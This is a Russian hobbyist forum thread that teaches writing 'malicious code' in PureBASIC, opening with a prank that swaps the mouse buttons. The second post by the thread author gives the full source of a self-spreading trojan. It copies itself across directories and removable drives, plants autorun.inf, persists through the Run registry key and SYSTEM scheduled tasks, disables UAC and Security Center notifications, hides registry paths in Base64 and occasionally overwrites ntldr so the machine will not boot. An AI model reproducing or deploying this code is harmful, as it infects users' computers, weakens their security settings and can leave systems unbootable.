Здравствуйте, гость ( Вход | Регистрация )
24 Dec 2006, 19:50
(Сообщение отредактировал Chrono Syndrome - 27 Dec 2006, 11:39)
Сообщение
#1
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.
Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать Итак, УРОК ПЕРВЫЙ: Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код: Код Define FSwap = -1 Repeat : SwapMouseButton_(FSwap) FSwap = ~FSwap Delay((Random(4) + 1) * 100) ForEver Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую: Цитата reverses or restores the meaning of the left and right mouse buttons. BOOL SwapMouseButton( BOOL fSwap // reverse or restore buttons ); Parameters fSwap Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings. После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик To be continued... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
![]() |
09 Jan 2011, 21:29
Сообщение
#2
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
ммм... надо антивирус писать
|
|
|
|
09 Jan 2011, 21:43
(Сообщение отредактировал Guevara-chan - 06 Mar 2014, 10:33)
Сообщение
#3
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
ммм... надо антивирус писать Успехов тебе в этом нелегком начинании. Я же пока лучше поддержу изначальную тему: Код ; /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ ; Win32/RunAround hopper v0.36 ; Developed in 2011 by Guevara-chan. ; \=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/ EnableExplicit; Essential. Macro FallBack(); Pseudo-procedure. SetCurrentDirectory("..") : RandomDir(GetCurrentDirectory()) EndMacro Macro TryReturning(); Pseudo-procedure... #TestFile = "_._.._._"; Проверяем возможность записи. If CreateFile(99, #TestFile) : CloseFile(99) DeleteFile(#testfile) : ProcedureReturn GetCurrentDirectory() Else : FallBack(); Иначе - откат назад. EndIf EndMacro Procedure.s RandomDir(Root.s) Static Counter; Счетчик перелома.... If Counter < 10 : Counter + 1; Избегаем бесконечности. SetCurrentDirectory(Root); Ставим текущей. Else : ProcedureReturn GetPathPart(ProgramFilename()) : EndIf NewList Dirs.s(); Список директорий. Define I, Analize; Обработка директории (без проблем под XP). For I = 1 To 10 : Analize = ExamineDirectory(#PB_Any, GetCurrentDirectory(), "*.*") If Analize : Break : Else : Delay(10) : EndIf; Пытаемся открыть на анализ. Next I : If Analize = #Null : FallBack() : EndIf; Не получается ? Назад ! While NextDirectoryEntry(Analize) ; Обработка папки. If DirectoryEntryType(Analize) = #PB_DirectoryEntry_Directory AddElement(Dirs()) : Dirs() = DirectoryEntryName(Analize) If ListSize(Dirs()) > 150 : Break : EndIf; Ну так, на всякий. EndIf : Wend; Выбираем случайный элемент: FinishDirectory(Analize); Конец анализу. SelectElement(Dirs(), Random(ListSize(Dirs()) - 1)) Select Dirs(); Анализируем выбор... Case ".", ".." : TryReturning(); Пытаемся вернуться директорию. Default : ProcedureReturn RandomDir(Root + "\" + Dirs()) EndSelect EndProcedure Procedure.s RandomName(Location.s) Define Z; Дабы не было бесконечного цикла... Repeat : If Z < 30 : Z + 1 : Else : ProcedureReturn "" : EndIf Define FName.s = Location + "RA [" + Hex(Random(99999999)) + "].exe" Delay(10) : Until OpenFile(1, FName) : CloseFile(1) ProcedureReturn FName EndProcedure Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S) Define *Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0) RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(*Hnd) EndProcedure Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I) Define *Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0) RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer)) RegCloseKey_(*Hnd) EndProcedure Procedure.S Decode64(String.S) Define DB.S{200} Base64Decoder(@String, Len(String), @DB, 200) ProcedureReturn PeekS(@DB) EndProcedure Procedure.s WindowDir() Define TPath.S{#MAX_PATH} GetWindowsDirectory_(@TPath, #MAX_PATH) ProcedureReturn TPath EndProcedure Procedure MachineCRC() Define TPath.s {#MAX_COMPUTERNAME_LENGTH} Define DType = #MAX_COMPUTERNAME_LENGTH GetComputerName_(@TPath, @DType) ProcedureReturn CRC32Fingerprint(@TPath, DType) EndProcedure Macro InSystem(Drive, SysDir); Pseudo-procedure. Left(SysDir, Len(Drive)) = Drive EndMacro Procedure.s GetSetupPath(RootDir.s, WinDir.s) #SetupFile = "Setup.exe" If InSystem(RootDir, WinDir); Если диск системный... ProcedureReturn "\\.\" + WinDir + "\con." + #SetupFile Else : ProcedureReturn RootDir + #SetupFile EndIf EndProcedure Procedure.s GetAutoPath(RootDir.s, WinDir.s) If InSystem(RootDir, WinDir) : ProcedureReturn "" Else : ProcedureReturn RootDir + "autorun.inf" EndIf EndProcedure Procedure CheckDrive(Letter.c) Define Root.s = Chr(Letter) + ":\" : Select GetDriveType_(@Root) : Case #DRIVE_CDROM Case #DRIVE_REMOVABLE To #DRIVE_RAMDISK : ProcedureReturn #True EndSelect EndProcedure Procedure.c GetRandomDrive(ThisFile.s) #Drives = 'Z' - 'A' - 1 Define *This.Character = @ThisFile, Drives.s{#Drives}, I, DriveMask.l = GetLogicalDrives_(), Drv, *Drive.Character = @Drives For I = 2 To #Drives : Drv = 'A' + I : If DriveMask & (1 << I) And CheckDrive(Drv) And Drv <> *This\C : Drives + Chr(Drv) : EndIf Next I : If Drives : *Drive + (Random(Len(Drives) - 1)) * SizeOf(Character) ProcedureReturn *Drive\C : Else : ProcedureReturn *This\C : EndIf; Возвращаем диск. EndProcedure Procedure CrashHandler(); Actually NOP. ; Just doing nothing here. We are out of luck. EndProcedure #NullOne = "nul" #FixedOne = "nul::nul" #Tasker = "schtasks.exe" #SQuote = "\" + #DQUOTE$ #RunPrefix = "Run_Around_" #Command = #PB_Program_Hide | #PB_Program_Wait #Cloak = #PB_FileSystem_Hidden | #PB_FileSystem_System #DeleteAll = #PB_FileSystem_Recursive | #PB_FileSystem_Force #AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9 KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x" #RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y ZXJc" #RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt" #RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu" #RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg==" #Domain = "\\.\" OnErrorCall(@CrashHandler()) Define MyName.s = Trim(ProgramFilename()), OldName.s = Trim(ProgramParameter()), WinDir.s = WindowDir() Define I, Root.s = Left(MyName, 3) ; Получаем корневую директорию. ; Имитируем проводник. If OldName = "" And LCase(Mid(MyName,2))=":\"+LCase(#SetupFile):RunProgram("explorer.exe",Left(MyName,3),"") ElseIf LCase(MyName) = LCase(#Domain+WinDir+"\con."+#SetupFile) And OldName = #FixedOne; Если мы стартуем с автозапуска: RunProgram(#Tasker,"/create /sc minute /mo 30 /tn Auto_Run_Around /ru System /tr "+#DQUOTE$+MyName+#DQUOTE$,"",#Command) Root = Mid(MyName, Len(#Domain)+1, 3) : EndIf; Начальная подготовка: ExamineDirectory(0, "", "") : FinishDirectory(0); На случай чего. If OldName = "" : OldName = #NullOne : EndIf; Переставляем. If OldName <> #NullOne And OldName <> #FixedOne : DeleteFile(OldName); Если допустимо раскрытие прыжка. OpenFile(0, Root+"Journey.txt") : FileSeek(0, Lof(0)) : SetFileAttributes(Root+"Journey.txt", #Cloak) WriteStringN(0, #DQUOTE$+OldName+#DQUOTE$+" -> "+#DQUOTE$+MyName+#DQUOTE$) : CloseFile(0) EndIf ; Поиск нового пути... Define TaskName.s = #RunPrefix + Left(Root, 1) ; Новый идентефикатор. Define NewName.s = RandomName(RandomDir(Root)) ; Получаем случайную директори.. If NewName ; Если есть, куда прыгать... SetFileAttributes(MyName, #Cloak) : CopyFile(MyName, NewName); Конечный переход: RunProgram(#Tasker, "/delete /f /tn " + TaskName, "", #Command); Стираем старое вхождение. Define JumpPath.s = #DQUOTE$ + #SQuote + NewName + #SQuote; Пути планировщика. If OldName <> #FixedOne : JumpPath + " " + #SQuote + MyName + #SQuote : EndIf Else : JumpPath = #DQUOTE$ + MyName ; Перепрописываем себя на всякий. EndIf : RunProgram(#Tasker,"/create minute /mo 1 /tn " + TaskName + " /ru System"+" /tr "+JumpPath+#DQUOTE$, "", #Command) ; А теперь походим по дискам... Define NewDrive.s, WinDrive.s = Left(WinDir, 3) ; Готовимся к перебросу в Windows. If FileSize(GetSetupPath(WinDrive, Windir)) <> FileSize(MyName) : NewDrive = WinDrive; К системе. ElseIf FileSize(GetSetupPath(Root, Windir)) = FileSize(MyName); Проверяем, доступен ли автозапуск. NewDrive = Chr(GetRandomDrive(MyName)) + ":\"; Просто бегаем случайным порядком, вдруг чего найдем. Else : NewDrive = Root ; Иначе придется заниматься корневой... EndIf : NewName = GetSetupPath(NewDrive, WinDir) : SetFileAttributes(NewName, #Cloak); Убираем read-only. If CopyFile(MyName, NewName) : OldName = GetAutoPath(NewDrive, WinDir) ; Если удалось скопироваться на диск.... SetFileAttributes(NewName, #Cloak | #PB_FileSystem_ReadOnly) ; Ставим аттрибуты на всякий. If OldName; Если треуется файловый автозапуск.... Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), #SetupFile) DeleteDirectory(OldName, "*.*", #DeleteAll); На всякий случай - удаляем такую папку.. SetFileAttributes(OldName, #Cloak) : CreateFile(0, OldNAme) : SetFileAttributes(OldName, #Cloak) WriteString(0, InfoText) : CloseFile(0); Вписываем данные и идем дальше. EndIf; Еще и запускаем на память: If Root <> NewDrive And Random(3) = 0 RunProgram(NewName, #FixedOne, "") : EndIf EndIf; Теперь ставим автозапуск: RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), #RunPrefix + Left(NewName, 1), NewName + " " + #FixedOne) ; Some payloads here... If MachineCRC() <> 1888994306; Если это не мой PC... RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0) RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0) If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here. RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1) RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0) EndIf; Переходим к более прозаичным вещам: If Random(99999)=0:WinDrive+"ntldr":SetFileAttributes(WinDrive,#PB_FileSystem_Normal):CreateFile(0,WinDrive):EndIf EndIf; Расскажу чуток о себе: DataSection : Data.s "...From creator of W32/Scar.H, with loev..." : EndDataSection ...Самодвижущийся код как примитивный троян. Нет, что-то в этом опредленно есть... Создатель ANIMAL'а был бы мной, наверное, доволен. Примечание: поскольку я выложила код исключительно в ознакомительных целях, он был (уж не взыщите) слегка подкорректирован в целях предотвращения возможности немедленного использования в деструктивных целях. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
Chrono Syndrome Dark side of Programming 24 Dec 2006, 19:50
Bourn вопросик прога делает это программно через хук? то... 24 Dec 2006, 20:52
Chrono Syndrome Цитатавопросик прога делает это программно через х... 24 Dec 2006, 21:44
Vikky эх, когда деревья были большими, а колбаса вкусной... 25 Dec 2006, 16:10
gamecreator и каково же обьяснение этому? почему так происходи... 25 Dec 2006, 16:18
Vikky Цитата(gamecreator @ 25 Dec 2006, 17:18)и как... 25 Dec 2006, 16:27
Chrono Syndrome Итак, я думаю настало время приподать вам Урок №2 ... 25 Dec 2006, 17:14
izrukvruki Я бы поставил, но пока не могу, т.к. недавно плюсо... 25 Dec 2006, 17:39
gamecreator ручками. берешь и перебираешь все варианты
правда ... 25 Dec 2006, 17:48
Chrono Syndrome ЦитатаХотелось бы узнать если программа провсит вв... 25 Dec 2006, 18:41
Avaddon Я по пакостям не специалист(дружеский кивок в стор... 26 Dec 2006, 02:54
gamecreator Цитата(Avaddon @ 26 Dec 2006, 02:54)Если кто ... 26 Dec 2006, 11:35
Bourn главное чтоб серийник не генерился по алгоритму за... 26 Dec 2006, 08:26
Chrono Syndrome Цитата1)сколька прога эта будет весить?
6 656 байт... 26 Dec 2006, 10:06
Bourn 2 Chrono Syndrome
У VC размер 2,5кб
2 gamecreator
... 26 Dec 2006, 17:20
izrukvruki А как работают программки генерации серийников 26 Dec 2006, 17:52
Bourn нет определенных инструкций по их работе
но они м... 26 Dec 2006, 19:11
Chrono Syndrome ЦитатаУ VC размер 2,5кб
Да ? Ну, бывает ... 27 Dec 2006, 10:29
Chrono Syndrome Вне занятий:
Пока писала 3ий урок, впомнила один п... 27 Dec 2006, 15:58
Irh Цитата(Chrono Syndrome @ 27 Dec 2006, 16:58)В... 29 Dec 2006, 11:02
Paladin ЦитатаПопробуйте запустить, вас ждут незабываемые ... 28 Dec 2006, 20:06
Chrono Syndrome Procedure Lesson3()
На прошлом занятии я рассказал... 28 Dec 2006, 21:18
Bourn 2 Paladin 2006
запусти эту прогу , сразу говорю он... 28 Dec 2006, 23:36
Chrono Syndrome ЦитатаВообще достаточно непонятно, почему в Window... 29 Dec 2006, 11:09
Paladin Цитата2 Paladin 2006
запусти эту прогу , сразу гов... 29 Dec 2006, 12:10
Bourn Цитата(Paladin 2006 @ 29 Dec 2006, 12:10)А мо... 30 Dec 2006, 00:43
Chrono Syndrome Alternative Joiner (дополнение к 3ему уроку):
У оп... 29 Dec 2006, 12:45
Chrono Syndrome Убить Винду одной процедурой...
КодRunProgram... 29 Dec 2006, 13:16
Chrono Syndrome Пьяная, пьяная мишь... ©
КодDefine X, Y, X1, Y1, ... 29 Dec 2006, 13:57
Paladin Токо не включайте два раза подряд. А то она упадет... 29 Dec 2006, 14:02
Berserker Только такие приколы не всегда проходят. Паладин, ... 30 Dec 2006, 14:35
sergroj Цитата(Chrono Syndrome @ 27 Dec 2006, 19:58)В... 30 Dec 2006, 15:55
Рогатый Змий А как джаве? 30 Dec 2006, 16:09
Chrono Syndrome Mix обоих мышиных приколов:
КодGlobal FSwap = -1,... 31 Dec 2006, 11:53
Chrono Syndrome Развлекаемся с клавой...
Небольшая, но прикольная ... 11 Jan 2007, 20:14
gamecreator вообще-то она повторяет нажатие буквы каждые 15 се... 11 Jan 2007, 20:32
Chrono Syndrome Цитатавообще-то она повторяет нажатие буквы каждые... 11 Jan 2007, 20:58
gamecreator а че такое #A, #Z, #Seconds?
как раз только одной ... 11 Jan 2007, 22:21
Ennin но так же забавнее 12 Jan 2007, 00:25
gamecreator хы. а потом прога вылетит 12 Jan 2007, 01:27
Chrono Syndrome Цитатаа че такое #A, #Z, #Seconds?
Константы.
Цит... 12 Jan 2007, 17:13
Chrono Syndrome 2gamecreator
Так, все, кажеться до меня дошло, что... 12 Jan 2007, 17:39
gamecreator да. и рано или поздно память закончится и прога вы... 14 Jan 2007, 09:54
Bourn 2 gamecreator
а допустим в процедуре (покажу на пр... 14 Jan 2007, 12:16
gamecreator ну я так понял что это цикл в одной функции. 14 Jan 2007, 12:21
Bourn это и есть цикл в одной ф-и, вроде... 14 Jan 2007, 15:31
gamecreator так обьявление переменной внутри цикла 14 Jan 2007, 16:57
Bourn какая разница что ты запишешь объявление переменно... 14 Jan 2007, 18:44
gamecreator никакой. но если обьявить переменную в функции и з... 14 Jan 2007, 18:54
Chrono Syndrome Цитатаникакой. но если обьявить переменную в функц... 14 Jan 2007, 19:09
gamecreator потому что в 1-м и 2-м случаях переменная обьявитс... 14 Jan 2007, 19:40
Bourn с чего ты взял что она будет удаляться? или ты опр... 14 Jan 2007, 19:45
gamecreator ну обычно память под локальные переменные освобожд... 14 Jan 2007, 20:12
Darth_Beleg Память под локальные (автоматические) переменные в... 15 Jan 2007, 23:36
Chrono Syndrome В PureBASIC ситуация обстоит немного по-другому: п... 16 Jan 2007, 11:28
Darth_Beleg Чем меньше область видимости переменной - тем мень... 17 Jan 2007, 08:21
sergroj Только на самом деле переменная вообще создастся н... 07 Feb 2007, 16:59
Chrono Syndrome ЦитатаА если так:
Тоже самое. 08 Feb 2007, 16:02
sergroj Криво. В двух модулях переменные с одинаковым имен... 09 Feb 2007, 00:39
Chrono Syndrome ЦитатаКриво.
Меня устраивает.
Цитата(sergroj ... 09 Feb 2007, 12:09
Chrono Syndrome ...Прочитала на днях описание семейства вирусов ... 23 Aug 2009, 20:03
gamecreator вот и преимущество FAT 23 Aug 2009, 21:55
nLc Цитата(gamecreator @ 23 Aug 2009, 21:55)вот и... 25 Aug 2009, 17:41
Guevara-chan Ну вот, кажется время пришло: http://www.eset.eu/e... 03 Jan 2011, 15:46
tolich Он на Мурр-Барсике (Purr-Barsik)? 03 Jan 2011, 15:51
Guevara-chan Цитата(tolich @ 03 Jan 2011, 15:51) Он на... 03 Jan 2011, 16:02
Guevara-chan http://www.sunbeltsoftware.com/About/Secur...easin... 04 Jan 2011, 14:19
gamecreator судя по описанию по самой первой ссылке - вирус фи... 04 Jan 2011, 15:09
Guevara-chan Именно поэтому я дала еще 4 - для уточнения. 04 Jan 2011, 16:14
gamecreator по третьей - все равно фигня. вирус легко обнаружи... 04 Jan 2011, 16:31
Guevara-chan Цитата(gamecreator @ 04 Jan 2011, 16:31) ... 04 Jan 2011, 17:00
gamecreator мне больше импонирует принцип действия твоего fxcl... 04 Jan 2011, 19:07
Guevara-chan Цитата(gamecreator @ 04 Jan 2011, 19:07) ... 04 Jan 2011, 20:18
gamecreator не в том дело, его действие обратимо. т.е. можно в... 04 Jan 2011, 23:25
Guevara-chan Очередная веха хакерской карьеры - таки напилила с... 07 Jan 2011, 14:38
packa Что то не понял, Guevara-chan сделала самый настоя... 07 Jan 2011, 15:37
FBX ЦитатаDefine *Win = GetForegroundWindow_() ... 07 Jan 2011, 15:44
gamecreator легче поставить хук на нажатие клавиши 07 Jan 2011, 17:40
Berserker Не надо обзывать кулхацкерство хакерством. 07 Jan 2011, 18:09
Guevara-chan Цитата
и что, работает?
Не должно ?
ЦитатаЧто то ... 08 Jan 2011, 16:24
gamecreator Цитата(Guevara-chan @ 08 Jan 2011, 16... 08 Jan 2011, 16:55
etoprostoya Игродел не любит антивирусы, если что. И в данном ... 08 Jan 2011, 17:48
Guevara-chan Цитатачто твои извращения с проверкой нажатых клав... 08 Jan 2011, 18:06
gamecreator Цитата(Guevara-chan @ 08 Jan 2011, 18... 08 Jan 2011, 18:29
FBX ЦитатаНе должно ?
да написал как-то похожий код д... 09 Jan 2011, 00:45
Guevara-chan Цитатаэто ж когда?
Вот именно тогда: тебе просто п... 09 Jan 2011, 17:44
gamecreator что такое payload? 09 Jan 2011, 17:57
packa Платить за загрузку 09 Jan 2011, 18:30
tolich http://en.wikipedia.org/wiki/Payload_%28software%2... 09 Jan 2011, 18:41
Guevara-chan ЦитатаПлатить за загрузку
Ну вроде того. Сейчас ра... 09 Jan 2011, 20:19
FBX ЦитатаНичем не могу помочь.
я не прошу помочь, я т... 09 Jan 2011, 20:53
gamecreator у тебя просто талант писать нечитаемый код.
а где... 09 Jan 2011, 22:00
Guevara-chan Цитатау тебя просто талант писать нечитаемый код.
... 09 Jan 2011, 22:05
gamecreator Цитата(Guevara-chan @ 09 Jan 2011, 22... 09 Jan 2011, 22:07
FBX Вот стесняюсь спросить... а зачем вообще выкладыва... 10 Jan 2011, 00:13
gamecreator характер такой наверное. делать людям пакости. 10 Jan 2011, 00:17
Guevara-chan Цитата(gamecreator @ 10 Jan 2011, 00:17) ... 10 Jan 2011, 12:07
etoprostoya Che Guevara - Chaotic Good. Стоит поменять пол... 10 Jan 2011, 13:26![]() ![]() |
| Текстовая версия | Сейчас: 7 April 2026 - 06:41 |
|
Copyright by Алексей Крючков
Programming by Degtyarev Dmitry |
|